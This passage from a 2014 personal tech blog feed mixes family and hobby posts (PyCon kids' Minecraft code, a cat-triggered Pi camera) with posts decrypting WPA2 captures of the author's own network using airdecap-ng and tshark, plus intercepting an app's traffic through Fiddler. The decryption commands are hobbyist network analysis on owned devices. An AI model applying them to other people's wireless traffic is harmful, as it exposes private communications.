Now remember that these are each multi gigabyte files, I had to copy them one at a time, deleting the original to make space so I could copy the next. It did fix my problem, no idea what permissions cygwin or/and wget/curl had given the files. No, it was not the classic "Unblock" from the internet setting.
</description>
</item>
<item>
<title>timsort ballet</title>
<pubDate>Wed, 24 Sep 2014 22:53:45 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2014.html#p240920142253</link>
<description>
I am not smart enough to understand <a href="http://en.wikipedia.org/wiki/Timsort">Timsort</a> but I do like the music it plays :p
<iframe width="560" height="315" src="//www.youtube-nocookie.com/embed/NVIjHj-lrT4?rel=0" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>Pycon UK 2014 kids robots quadcopters minecraft and raspberry pis</title>
<pubDate>Wed, 24 Sep 2014 22:08:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2014.html#p240920142208</link>
<description>
I have been searching for <a href="http://www.raspberrypi.org/jam/">Raspberry Jams</a> in the local area and turning up empty. Either they are too far to travel or/and they are sold out in minutes. So when the Raspberry Pi Foundation <a href="http://www.raspberrypi.org/blog/">blog</a> posted about the up coming <a href="http://pyconuk.net/PyCon_UK_2014">PyCon</a> with a special kids day I jumped at the opportunity.

The <a href="http://www.raspberrypi.org/pyconuk-education-track-for-teachers/">posting</a> only revealed the kids day if you read past the Teachers bits and there seemed to be about 75 kids tickets available.

Not sure what to expect my 6 and 7 year old boys turned up the the TechnoCentre in Coventry University Technology Park with tickets in hand. Then we got blown away...

The boys both got a swag bag and t-shirt. In the swag bag was, personalised mug, Raspberry Pi book, sweets, key-ring, water bottle, lanyard and oh just a Raspberry Pi B+

Jammy kids !!

The whole day was a blast, from dancing robots to back flipping quad copters with cameras to Minecraft programming and show-and-tell with a Raspberry Pi powered arcade cabinet!

Alex had some exposure to <a href="http://www.jumpstation.co.uk/flog/Mar2013.html#120320132157">Minecraft on the Pi last year</a> but, I was really impressed how willing a six year old was to try coding.
<img src="images/pyconuk_2014_playing_minecraft.jpg">
The first thing they said was "Parents hands off, let the kids make mistakes and teach them how to correct them", and I had to fight myself a couple of times from "driving". 
See below for the code we wrote(not me).

I also found that was interest waned in typing in log code listings(10 lines) that the mention we could "cheat" brought bright interested faces back for more ;)
<img src="images/pyconuk 2014_robot.jpg">
Here is Joseph with a &pound;10,000 robot, they had 3 plus a newer &pound;4,000 one that did everything and more its older cousins. We were able to chat to the demonstrators and see how the robot could be taught to recognise new object and react and of course do the <a href="http://www.youtube.com/watch?v=51vQo-imc4Q">Gangnam style </a> and the Star Wars story.

<img src="images/pyconuk 2014_quad.jpg">
Here is my son trying to kill someone with a iPad controlled quad copter. This was shortly followed by the only near mid air collision, when the other son had control of a second copter.

<img src="images/pyconuk 2014_class.jpg">
Everybody was really friendly and made sure the kids had the most fun possible while unknowingly learning!

Code listings:

It started simple, the sleep is there to make sure you see the message before it is removed.
<code>import minecraft
import block
import time

mc = minecraft.Minecraft.create()
mc.postToChat("hello joseph and Alex")
time.sleep(5)
</code>

Then we created a jet pack that fires Steve 50 blocks into the air. Note the "cheat" of using short variable names.
<code>import minecraft
import block
import time

mc = minecraft.Minecraft.create()
p = mc.player.getPos()
mc.player.setPos(p.x, p.y + 50, p.z)
mc.postToChat("look down")
time.sleep(5)
</code>

The guide we were following suggested putting Diamond blocks beneath Steve's feet, but we changed that Beds. Problem is beds are multi block constructs and the following code created a kind of bed-quicksand under Steve.
<code><pre>import minecraft
import block
import time

mc = minecraft.Minecraft.create()
while(True):
    pt = mc.player.getTilePos()
    mc.setBlock(pt.x, pt.y - 1, pt.z, block.BED.id)
</pre></code>

When the code called for a rainbow Wool block to build a path, even in the Air, Steve could not get down. We fixed that by checking if the block was not Air before changing it. This created a Rainbow-footstep effect that the kids delighted in painting the world.
<code><pre>import minecraft
import block
import time
import random

mc = minecraft.Minecraft.create()
while(False):
    w = random.randrange(0,15)
    pt = mc.player.getTilePos()
    stoodOn=mc.getBlock(pt.x,pt.y-1,pt.z)
    if stoodOn != block.AIR:
        mc.setBlock(pt.x, pt.y - 1, pt.z, block.WOOL.id,w)
</pre></code>

Bolstered by that fun, they created a canon in the world and then run this Rainbow-Canon that cut through Trees and Mountains with impunity!
<code><pre>import minecraft
import block
import time
import random

mc = minecraft.Minecraft.create()
c = 1
while(True):
    w = random.randrange(0,15)
    pt = mc.player.getTilePos()
    mc.setBlock(pt.x, pt.y, pt.z + c, block.WOOL.id,w)
    c = c + 1
</pre></code>

Cannot thank the Pycon and Raspberry Pi Foundation enough. "Thank you!"
</description>
</item>
<item>
<title>Cat in motion bothers pi camera</title>
<pubDate>Sat, 06 Sep 2014 22:06:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2014.html#p060920142206</link>
<description>
After getting my <a href="http://www.jumpstation.co.uk/flog/Jul2014.html#p120720141944">Raspberry Pi camera working nicely with Motion</a> I set off on holiday knowing that I could rely on any intruders being <a href="http://www.jumpstation.co.uk/flog/Jul2014.html#p130720140835">captured and stored on an external FTP server.</a>

What I came back to was a mystery.

2014/08/22 test - all OK. Images of me setting motion running are uploaded correctly.
2014/08/23 set and run(me) before motion notices.
2014/08/26 18:31 - Door opened just wide enough for a cat.
2014/08/29 09:12 - Door closed.
2014/08/29 11:10:36 - No obvious changes other than light level.
2014/08/29 11:10:37 - No obvious changes.
2014/08/29 14:49:42 - Pixel blur - possibly cat related.
2014/08/29 14:49:44 - Camera has been dislodged and is now pointing up, appears in motion.
2014/08/29 14:49:46 - Camera has been dislodged and is now pointing up, settled.
... 8x images with minor light and viewing angle changes.
2014/08/30 12:36 - Camera has been moved again but only but 10 degrees.
... 43x images with minor light variances, also three tiny angle changes, almost imperceptible.

This all with the sensitivity set to for 60,000 image size of 1920x1072. The default is 1500 for 352x288.

Now if the images had captured the door being opened and then the cat blur I would be annoyed but I could except that. The cat has been known to zoom to the window sill when he thinks something of interest is going on outside.

Note we have never noted the cat being able to open doors before and never closing them.

We did have someone it to feed the cat and to give him some strokes/entertainment, but I would not have expected them to go upstairs to the office nor close the door if open.

The only reasonable conclusion, using <a href="http://en.wikipedia.org/wiki/Occam%27s_razor">Occam's razor</a> is

2014/08/26 18:31 - Cat opens door.
2014/08/29 09:12 - Door closed by cat tender after searching for cat (he had free roam of the bedrooms).
2014/08/29 14:49:42 - Pixel blur is cat, after very quickly opening door again.
2014/08/29 14:49:44 - Cat knocks camera again.

The other thing that must be assumed is that the Motion settings are not optimally sensitive enough. It should have caught the door opening again.
</description>
</item>
<item>
<title>What does a seven year old know about Spainish</title>
<pubDate>Tue, 02 Sep 2014 20:36:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2014.html#p020920142036</link>
<description>
You know you are out of your depth when in Spain you have to take your seven year old to explain to the petrol attendant that you are at pump six.

To be fair he only knows the 0-10 in Spanish and I know the other basics, "hello", "goodbye", "thank you".
</description>
</item>
<item>
<title>What time is it Android</title>
<pubDate>Tue, 02 Sep 2014 20:30:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2014.html#p020920142030</link>
<description>
When I left the UK and lost mobile service I was not too bothered that the time did not update with the "Automatic date &amp; time, Use network-provided time", after all there was not network provider.
But on returning to the UK I did expect the manually set time(I turned off the afore mentioned setting) to automatically update when I switched the setting on. After all there was now a network provider to get the value from.

No such luck and an hour before I wanted it to the alarm when off. This was following a day of fourteen hours driving with two kids that were not happy about being stuck in a car for fourteen hours.

Talking with other Android users this is known and common occurrence. As soon as I unticked the box and re-ticked it the time happily corrected itself.
</description>
</item>
<item>
<title>JavaScript memory leak in firefox X</title>
<pubDate>Wed, 13 Aug 2014 13:57:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2014.html#p130820141357</link>
<description>
The lack of updates can be attributed to the following...

I have an interesting problem and it requires three things to be in alignment. Unfortunately for me they are all in alignment on my machine, this machine.

There is an old Java applet currently sitting on my <a href="/">home page</a> and I had decided that to upgrade the look of the front page I would re-write this in JavaScript. I have almost finished but while doing the final tweaks I left the animation running all day. In fact a day and half and then I find what looks like Linux crashed. Except, it is not dead, just stunned. "Out of memory" which is odd, Linux never gives me any problems. So reboot check everything and go about my business then it happens again. This time I go hunting, shutting down everything and running <code>top</code> to monitor memory usage.
(SHIFT+M) to order by memory

Except it does not go up. Thinking it was just a fluke I get on with my code again, this time leaving it overnight. In the morning top shows that "X" has consumed 78% of memory and when I had left it the previous night it was just 8%. Still not believing its my code I shutdown everything in X checking the memory as I go. "Firefox" is the first to go, but the memory percentage does not go down. I have closed everything visible and running the background and still X stubbornly holds 78% of memory.

This time after the machine is recovered I run nothing that leave it over night, no excess memory usage. It is something I am doing with X. Try a few things, even forcing Firefox to load lots of YouTube videos, not a blip. Then try my code, nothing obvious, wait, it just went up 0.1%, not Firefox but X. Twenty minutes later and there is a 2% increase, so I kill Firefox but the memory percent does not go down. Trying anything else in Firefox still no problem, my code same slow drip of 0.1% memory usage.

Wow! My code is that bad? No, the code works fine in Firefox or Chrome in Windows and the Chrome heap diagnostics tools show my code does nothing memory hungry or leaky.

I also spent sometime looking for ways to improve my code regarding memory leaks and the only areas I could find reasonable updates were not in the main loop and were only called once.

Next job rebuild the kernel(I have been putting it off for a while) and hope that and the phase of the moon resolves it so I can get on and finish this code so I can move onto refactoring the jumpstation home page(long time coming).
</description>
</item>
<item>
<title>Microsoft Network Monitor WPA2 packets cannot be decrypted</title>
<pubDate>Tue, 29 Jul 2014 21:33:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2014.html#p290720142133</link>
<description>
Continuing my decrypting of WPA2 packet captures <a href="http://www.jumpstation.co.uk/flog/Jul2014.html#p230720142059">Raspberry Pi WPA2 capture and decryption</a>.

<a href="http://www.wireshark.org">Wireshark</a> refuses to decrypt with my pass phrase, lets try the command line version "TShark" that comes with the install of <a href="http://www.wireshark.org">Wireshark</a>.

This is using the <a href="http://www.wireshark.org">Wireshark</a> WPA encrypted Induction sample file from "<a href="http://wiki.wireshark.org/HowToDecrypt802.11">How to Decrypt 802.11</a>
<code>"c:\Program Files\Wireshark\tshark.exe" -nr input\wpa-Induction.pcap -o wlan.enable_decryption:TRUE -o "uat:80211_keys:\"wpa-pwd\",\"Induction:Coherer\"" -2 -R "http"</code>
<code class="output">  1  10.527211  10.10.10.20 -> 239.255.255.250 SSDP 201 M-SEARCH * HTTP/1.1 
  2  10.527233  10.10.10.20 -> 239.255.255.250 SSDP 237 M-SEARCH * HTTP/1.1 
  3  10.528237  10.10.10.20 -> 239.255.255.250 SSDP 232 M-SEARCH * HTTP/1.1 
  4  13.405660 192.168.0.50 -> 66.230.200.100 HTTP 699 GET /wiki/Landshark HTTP/1.1 
  5  14.390505 192.168.0.50 -> 66.230.200.228 HTTP 630 GET /fundraising/2006/meter.png HTTP/1.1 
  6  14.496485 66.230.200.228 -> 192.168.0.50 HTTP 510 HTTP/1.0 200 OK  (PNG)
  7  26.219523 192.168.0.50 -> 209.188.21.206 HTTP 707 GET /75/75djaws2.phtml HTTP/1.1 
  8  26.310502 209.188.21.206 -> 192.168.0.50 HTTP 1576 [TCP Previous segment not captured] Continuation or non-HTTP traffic
  9  26.346504 209.188.21.206 -> 192.168.0.50 HTTP 651 [TCP Previous segment not captured] Continuation or non-HTTP traffic
 10  26.571516 192.168.0.50 -> 209.188.21.206 HTTP 583 [TCP ACKed unseen segment] GET /style.css HTTP/1.1 
 11  26.618552 209.188.21.206 -> 192.168.0.50 HTTP 869 HTTP/1.1 200 OK  (text/css)
 12  26.719455 192.168.0.50 -> 209.188.21.206 HTTP 588 GET /75/space2.gif HTTP/1.1 
 13  26.772424 209.188.21.206 -> 192.168.0.50 HTTP 1151 HTTP/1.1 200 OK  (GIF89a) (GIF89a) (image/gif)
 14  26.773438 192.168.0.50 -> 209.188.21.206 HTTP 595 GET /75/pics/75djaws2.jpg HTTP/1.1 
 15  26.789429 192.168.0.50 -> 209.188.21.206 HTTP 595 GET /75/pics/75djaws1.jpg HTTP/1.1 
 16  26.814423 192.168.0.50 -> 209.188.21.206 HTTP 595 [TCP ACKed unseen segment] GET /75/pics/75djaws3.jpg HTTP/1.1 
 17  26.855414 192.168.0.50 -> 209.188.21.206 HTTP 583 [TCP ACKed unseen segment] GET /line.jpg HTTP/1.1 
 18  26.878523 192.168.0.50 -> 72.14.255.99 HTTP 1174 GET /pagead/ads?client=ca-pub-9011062396508188&dt=1167891175069&lmt=1167891174&format=728x90_as&output=html&channel=8345570081&url=http%3A%2F%2Fsnltranscripts.jt.org%2F75%2F75djaws2.phtml&color_bg=C0C0C0&color_text=000000&color_link=666666&color_url=3366FF&color_border=999999&ad_type=text_image&ref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D%2522land%2Bshark%2522%2Bcandygram%26start%3D0%26ie%3Dutf-8%26oe%3Dutf-8%26client%3Dfirefox-a%26rls%3Dorg.mozilla%3Aen-US%3Aofficial&cc=100&u_h=900&u_w=1440&u_ah=825&u_aw=1440&u_cd=32&u_tz=-480&u_his=2&u_java=true&u_nplug=9&u_nmime=103 HTTP/1.1 
 19  26.892408 209.188.21.206 -> 192.168.0.50 HTTP 1069 HTTP/1.1 200 OK  (JPEG JFIF image)
 20  27.450348 192.168.0.50 -> 209.188.21.206 HTTP 529 [TCP ACKed unseen segment] [TCP Previous segment not captured] GET /favicon.ico HTTP/1.1 
 21  27.493311 209.188.21.206 -> 192.168.0.50 HTTP/XML 607 [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 404 Not Found </code>
Works!!

Now with a bad pass phrase
<code>"c:\Program Files\Wireshark\tshark.exe" -nr input\wpa-Induction.pcap -o wlan.enable_decryption:TRUE -o "uat:80211_keys:\"wpa-pwd\",\"INCORRECTPASSWORD:BADSSID\"" -2 -R "http"</code>
<code class="output">  1  10.527211  10.10.10.20 -> 239.255.255.250 SSDP 201 M-SEARCH * HTTP/1.1 
  2  10.527233  10.10.10.20 -> 239.255.255.250 SSDP 237 M-SEARCH * HTTP/1.1 
  3  10.528237  10.10.10.20 -> 239.255.255.250 SSDP 232 M-SEARCH * HTTP/1.1 
  4  13.405660 192.168.0.50 -> 66.230.200.100 HTTP 699 GET /wiki/Landshark HTTP/1.1 
  5  14.390505 192.168.0.50 -> 66.230.200.228 HTTP 630 GET /fundraising/2006/meter.png HTTP/1.1 
  6  14.496485 66.230.200.228 -> 192.168.0.50 HTTP 510 HTTP/1.0 200 OK  (PNG)
  7  26.219523 192.168.0.50 -> 209.188.21.206 HTTP 707 GET /75/75djaws2.phtml HTTP/1.1 
  8  26.310502 209.188.21.206 -> 192.168.0.50 HTTP 1576 [TCP Previous segment not captured] Continuation or non-HTTP traffic
  9  26.346504 209.188.21.206 -> 192.168.0.50 HTTP 651 [TCP Previous segment not captured] Continuation or non-HTTP traffic
 10  26.571516 192.168.0.50 -> 209.188.21.206 HTTP 583 [TCP ACKed unseen segment] GET /style.css HTTP/1.1 
 11  26.618552 209.188.21.206 -> 192.168.0.50 HTTP 869 HTTP/1.1 200 OK  (text/css)
 12  26.719455 192.168.0.50 -> 209.188.21.206 HTTP 588 GET /75/space2.gif HTTP/1.1 
 13  26.772424 209.188.21.206 -> 192.168.0.50 HTTP 1151 HTTP/1.1 200 OK  (GIF89a) (GIF89a) (image/gif)
 14  26.773438 192.168.0.50 -> 209.188.21.206 HTTP 595 GET /75/pics/75djaws2.jpg HTTP/1.1 
 15  26.789429 192.168.0.50 -> 209.188.21.206 HTTP 595 GET /75/pics/75djaws1.jpg HTTP/1.1 
 16  26.814423 192.168.0.50 -> 209.188.21.206 HTTP 595 [TCP ACKed unseen segment] GET /75/pics/75djaws3.jpg HTTP/1.1 
 17  26.855414 192.168.0.50 -> 209.188.21.206 HTTP 583 [TCP ACKed unseen segment] GET /line.jpg HTTP/1.1 
 18  26.878523 192.168.0.50 -> 72.14.255.99 HTTP 1174 GET /pagead/ads?client=ca-pub-9011062396508188&dt=1167891175069&lmt=1167891174&format=728x90_as&output=html&channel=8345570081&url=http%3A%2F%2Fsnltranscripts.jt.org%2F75%2F75djaws2.phtml&color_bg=C0C0C0&color_text=000000&color_link=666666&color_url=3366FF&color_border=999999&ad_type=text_image&ref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D%2522land%2Bshark%2522%2Bcandygram%26start%3D0%26ie%3Dutf-8%26oe%3Dutf-8%26client%3Dfirefox-a%26rls%3Dorg.mozilla%3Aen-US%3Aofficial&cc=100&u_h=900&u_w=1440&u_ah=825&u_aw=1440&u_cd=32&u_tz=-480&u_his=2&u_java=true&u_nplug=9&u_nmime=103 HTTP/1.1 
 19  26.892408 209.188.21.206 -> 192.168.0.50 HTTP 1069 HTTP/1.1 200 OK  (JPEG JFIF image)
 20  27.450348 192.168.0.50 -> 209.188.21.206 HTTP 529 [TCP ACKed unseen segment] [TCP Previous segment not captured] GET /favicon.ico HTTP/1.1 
 21  27.493311 209.188.21.206 -> 192.168.0.50 HTTP/XML 607 [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 404 Not Found </code>
Works!! 
wait.. What the HELL!

Oh, it's using the keys I added into <a href="http://www.wireshark.org">Wireshark</a>. Right change to bad pass phrase in <a href="http://www.wireshark.org">Wireshark</a> then rerun in TShark
<code>"c:\Program Files\Wireshark\tshark.exe" -nr input\wpa-Induction.pcap -o wlan.enable_decryption:TRUE -o "uat:80211_keys:\"wpa-pwd\",\"INCORRECTPASSWORD:BADSSID\"" -2 -R "http"</code>
<code class="output">
</code>
Fails!! woohoo.

Now to try the correct pass phrase again because this is all about TShark
<code>"c:\Program Files\Wireshark\tshark.exe" -nr input\wpa-Induction.pcap -o wlan.enable_decryption:TRUE -o "uat:80211_keys:\"wpa-pwd\",\"Induction:Coherer\"" -2 -R "http"</code>
<code class="output">  1  10.527211  10.10.10.20 -> 239.255.255.250 SSDP 201 M-SEARCH * HTTP/1.1 
  2  10.527233  10.10.10.20 -> 239.255.255.250 SSDP 237 M-SEARCH * HTTP/1.1 
  3  10.528237  10.10.10.20 -> 239.255.255.250 SSDP 232 M-SEARCH * HTTP/1.1 
  4  13.405660 192.168.0.50 -> 66.230.200.100 HTTP 699 GET /wiki/Landshark HTTP/1.1 
  5  14.390505 192.168.0.50 -> 66.230.200.228 HTTP 630 GET /fundraising/2006/meter.png HTTP/1.1 
  6  14.496485 66.230.200.228 -> 192.168.0.50 HTTP 510 HTTP/1.0 200 OK  (PNG)
  7  26.219523 192.168.0.50 -> 209.188.21.206 HTTP 707 GET /75/75djaws2.phtml HTTP/1.1 
  8  26.310502 209.188.21.206 -> 192.168.0.50 HTTP 1576 [TCP Previous segment not captured] Continuation or non-HTTP traffic
  9  26.346504 209.188.21.206 -> 192.168.0.50 HTTP 651 [TCP Previous segment not captured] Continuation or non-HTTP traffic
 10  26.571516 192.168.0.50 -> 209.188.21.206 HTTP 583 [TCP ACKed unseen segment] GET /style.css HTTP/1.1 
 11  26.618552 209.188.21.206 -> 192.168.0.50 HTTP 869 HTTP/1.1 200 OK  (text/css)
 12  26.719455 192.168.0.50 -> 209.188.21.206 HTTP 588 GET /75/space2.gif HTTP/1.1 
 13  26.772424 209.188.21.206 -> 192.168.0.50 HTTP 1151 HTTP/1.1 200 OK  (GIF89a) (GIF89a) (image/gif)
 14  26.773438 192.168.0.50 -> 209.188.21.206 HTTP 595 GET /75/pics/75djaws2.jpg HTTP/1.1 
 15  26.789429 192.168.0.50 -> 209.188.21.206 HTTP 595 GET /75/pics/75djaws1.jpg HTTP/1.1 
 16  26.814423 192.168.0.50 -> 209.188.21.206 HTTP 595 [TCP ACKed unseen segment] GET /75/pics/75djaws3.jpg HTTP/1.1 
 17  26.855414 192.168.0.50 -> 209.188.21.206 HTTP 583 [TCP ACKed unseen segment] GET /line.jpg HTTP/1.1 
 18  26.878523 192.168.0.50 -> 72.14.255.99 HTTP 1174 GET /pagead/ads?client=ca-pub-9011062396508188&dt=1167891175069&lmt=1167891174&format=728x90_as&output=html&channel=8345570081&url=http%3A%2F%2Fsnltranscripts.jt.org%2F75%2F75djaws2.phtml&color_bg=C0C0C0&color_text=000000&color_link=666666&color_url=3366FF&color_border=999999&ad_type=text_image&ref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D%2522land%2Bshark%2522%2Bcandygram%26start%3D0%26ie%3Dutf-8%26oe%3Dutf-8%26client%3Dfirefox-a%26rls%3Dorg.mozilla%3Aen-US%3Aofficial&cc=100&u_h=900&u_w=1440&u_ah=825&u_aw=1440&u_cd=32&u_tz=-480&u_his=2&u_java=true&u_nplug=9&u_nmime=103 HTTP/1.1 
 19  26.892408 209.188.21.206 -> 192.168.0.50 HTTP 1069 HTTP/1.1 200 OK  (JPEG JFIF image)
 20  27.450348 192.168.0.50 -> 209.188.21.206 HTTP 529 [TCP ACKed unseen segment] [TCP Previous segment not captured] GET /favicon.ico HTTP/1.1 
 21  27.493311 209.188.21.206 -> 192.168.0.50 HTTP/XML 607 [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 404 Not Found </code>
Works!!

Good! I think. This is getting confusing.

Now what about my two WPA encrypted capture sessions? One from Network Monitor 3.4 and the other from <a href="http://www.kismetwireless.net">Kismet</a> on the Raspberry Pi.

<code>"c:\Program Files\Wireshark\tshark.exe" -nr input\wpa-kismet.pcap -2 -R "http"</code>
<code class="output">...
all my fun packets
.../code>

Note the lack of any other settings? That means it got the keys from <a href="http://www.wireshark.org">Wireshark</a>. Sure enough if I nobble the keys in <a href="http://www.wireshark.org">Wireshark</a> then that command returns no packets.

Can I enter the key into TShark ... ?

Nope same problem with encoding the characters making the physical string longer than its max 63 characters.

So before we go any further, that means the <a href="http://www.wireshark.org">Wireshark</a> documentation requiring the encoding of special characters does not apply to double quotes and spaces inside <a href="http://www.wireshark.org">Wireshark</a>, but the only way to specify them in DOS is to use some kind encoding and that bulks out the string length.
I have raised the issue with <a href="http://www.wireshark.org">Wireshark</a>.

Now onto the Microsoft Network Monitor 3.4 capture file.

...

Big fat 0. Wireshark/TShark is unable to decode the packets generated from Microsoft Network Monitor 3.4 even with the full four way handshake.

Linux WINS!

You will notice that there is no mention of the Freesat app in this post that's for the next post.
</description>
</item>
<item>
<title>Raspberry Pi WPA2 capture and decryption</title>
<pubDate>Wed, 23 Jul 2014 20:59:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2014.html#p230720142059</link>
<description>
Thwarted by the <a href="http://www.jumpstation.co.uk/flog/Jul2014.html#p200720142206">freesat app fiddler failure</a> I decided to turn it up a notch. I do not give up easily!

But then I came across <a href="http://www.microsoft.com/en-us/download/details.aspx?id=4865">Network Monitor 3.4</a> and spent a whole day trying to get it to work and get the results into <a href="http://www.wireshark.org">Wireshark</a>.
Lets just say the magical "Scanning Options" "Monitor Mode" is a)not easy to find and b)you have to know to leave the options window open, which is quite non-obvious.

Once in <a href="http://www.wireshark.org">Wireshark</a> all the packets were encrypted and the way <a href="http://www.wireshark.org">Wireshark</a> decrypts them does not seem to work with my mega long and complicated passphrase.

of course I can just use Linux, Raspberry Pi to be exact.

I had everything installed from my previous Pi wifi experiments
<a href="http://www.jumpstation.co.uk/flog/May2013.html#100520132048">WEP up the raspberry pi</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#100520132058">Automatic WEP on the raspberry pi</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#150520132018">Slapping a new MAC on the Pi</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#150520132025">WEP key recovery with the Pi</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#180520132054">Switching to WPA2 and about time</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131105">Reaver can not eat my WPS</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131158">Testing the Pi with WPA2</a>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131244">Automatic pi wifi wpa2 connection</a>

I took me a while to realise that <a href="http://www.kismetwireless.net">Kismet</a> captures packets without asking. But once I had those juicy packets, including the four way handshake all I had to do was decrypt them.

Should be easy I own all the devices and I have the KEY!

<code>airdecap-ng -e 'MYSSID' -p 'The Most amazing "WPA2" passphrase' Kismet-date-time.pcapdump</code>
and out pops a <code class="output">Kismet-date-time.pcapdump-dec</code> file.

Load it into <a href="http://www.wireshark.org">Wireshark</a> and its is mostly gobbledy-goop :( but hang on some of its fine.

The test session I had done to make sure I had something to identify in the capture packets was to browse a lot of pages at <a href="http://en.wikipedia.org/wiki/Special:Random">Wikipedia</a>, text, text and more human readable text.

<s>The packets that were readable were the HTTP requests/responses but only the headers and reading those headers showed why. To keep bandwidth to a minimum <a href="http://en.wikipedia.org/wiki/Special:Random">Wikipedia</a> was sending everything gzip(compressed), Wireshark was oblivious to this and just showed me the raw data. Just the same as if you opened a .ZIP file in a text editor.</s>

AGHHHhhh! Wrong wrong wrong! Wireshark happily decodes gzip encoded HTTP but this is ..dun.. ..dun.. ..dunnnnn.. HTTPS

I should point out I could not get "airdecap" to decrypt the Network Monitor 3.4 captures. Oddly <a href="http://www.wireshark.org">Wireshark</a> can load them but not save or export them.

So HTTPS/SSL traffic eh. Can I decrypt them? Yes, but only if I have the master server key and for some reason I do not have access to <a href="http://en.wikipedia.org/wiki/Special:Random">Wikipedia</a>'s SSL key.

The interesting thing was that although I had surfed all over <a href="http://en.wikipedia.org/wiki/Special:Random">Wikipedia</a> and the HTTPS nature of the connection hid even the names/URLs of the articles I visited some of the image request were not, so you could still determine what I had been looking at, if there were images.

Next step capture the Freesat app in action, and hope its not all SSL.
</description>
</item>
<item>
<title>Freesat Android app is better than nothing</title>
<pubDate>Sun, 20 Jul 2014 22:06:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2014.html#p200720142206</link>
<description>
I have been waiting for a <a href="http://www.freesat.co.uk/app">Freesat app for Android</a> and its finally here.

First job was registering a Freesat ID, this in independent of the Freesat account for newsletters and updates, the Humax registered account, the MyHumax account and the forums account.

Next get the App from the <a href="https://play.google.com/store/apps/details?id=com.re.freesat">Google play store</a>.

Setup <a href="http://www.fiddler2.com">Fiddler</a> on an old Windows laptop and point the phones Proxy settings at it.

Now I can setup the Freesat box and get my pairing ID that I can enter into the app.

But the app will not start and <a href="http://www.fiddler2.com">Fiddler</a> is showing it trying to securely connect to auth.platform.freesat.tv

Even going to the lengths of installing the fiddler root certificate does not make the app any happier.

Still, turning all that off and the app finds the Humax box and after logging in and pairing shows me all the shows and lets me set a recording.

If only they had any API that I could call via my TV project :(

Better than nothing!
</description>
</item>
<item>
<title>Windows 8 happy transfer including outlook</title>
<pubDate>Sun, 20 Jul 2014 22:01:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2014.html#p200720142201</link>
<description>
A friend who had me buy and install a Windows 8 machine a while back just got a new laptop with Windows 8 pre-installed. I have to say it was very easy to setup just log in with the same 'cloudy' account and the machine configures itself.

Office was much the same. The icon was pre-installed that took us to the Office website. Logged in and it set about installing a new (you start with 5 licences) copy of Office.

The finally step was a bit more painful but I doubt most people would have to do it.

Outlook on the main machine was setup with multiple accounts, at least 6, and I was not about to recreate them all from scratch.

the trick was to export the registry key
<code class="output">HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles</code>

And import it again on the new machine. I thought I had also copied the required .PST files that Outlook uses to store data but for some reason there were a number of tiny ones that did not seem to be used that the "profile" required.

Once that voodoo was complete it just worked, client very happy!

Another black eye for all the Windows 8 haters. No, I do not have Windows 8, but I use it at work quite happily. And I hate Apple more than Microsoft!
</description>
</item>
<item>
<title>What sizes will motion like for the raspberry pi camera</title>
<pubDate>Sun, 13 Jul 2014 08:35:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2014.html#p130720140835</link>
<description>
What I found was that <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> does not like certain resolutions for the Raspberry Pi Camera with <a href="http://www.linux-projects.org/modules/sections/index.php?op=viewarticle&amp;artid=14">uv4l</a>.

Ones it did like were

2592x1920
1920x1072
640x480

I opted for the 1920x1072 as the 2592x1920 files were massive and I wanted each captured image uploaded via FTP.

The sensitivity needed to be tuned to 
<code>threshold 60000</code>
for such a large file(pixel count).

There is also a great "setup" option. Passing " -s" to <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> causes it to spit out what number of pixels changed and if you have the remote web server enabled you can view these values dynamically as the image turns blue when the threshold is reached. On top of that there is a second web server option that exposes the motion.conf setting and you can modify them in real time with out restarting!

The FTP bit was easy. In the <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> conf file is a setting called "on_picture_save" and with wput you just set it to
<code>
on_picture_save wput ftp://USERNAME:PASSWORD@FTP.SERVER.NAME %f 
</code>

The "%f" gets replaced with the file name created by motion.

Job done, it really is this easy!
</description>
</item>
<item>
<title>uv4l userspace driver gives life to motion and the raspberry pi camera</title>
<pubDate>Sat, 12 Jul 2014 19:44:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2014.html#p120720141944</link>
<description>
So I have had my Raspberry Pi Noir camera for a few months but I have not done anything with it other than test it works.

I wanted to use <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> to set the camera as motion detector but was surprised to find that the Raspberry Pi camera does not show up in 
<code>/dev/video0</code>
as USB and other cameras do and <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> does not have a built in way of handling the Raspberry Pi Camera.

Many MANY places say that that is the end of the line, no way to use <a href="http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome">motion</a> with the Raspberry Pi camera :( 

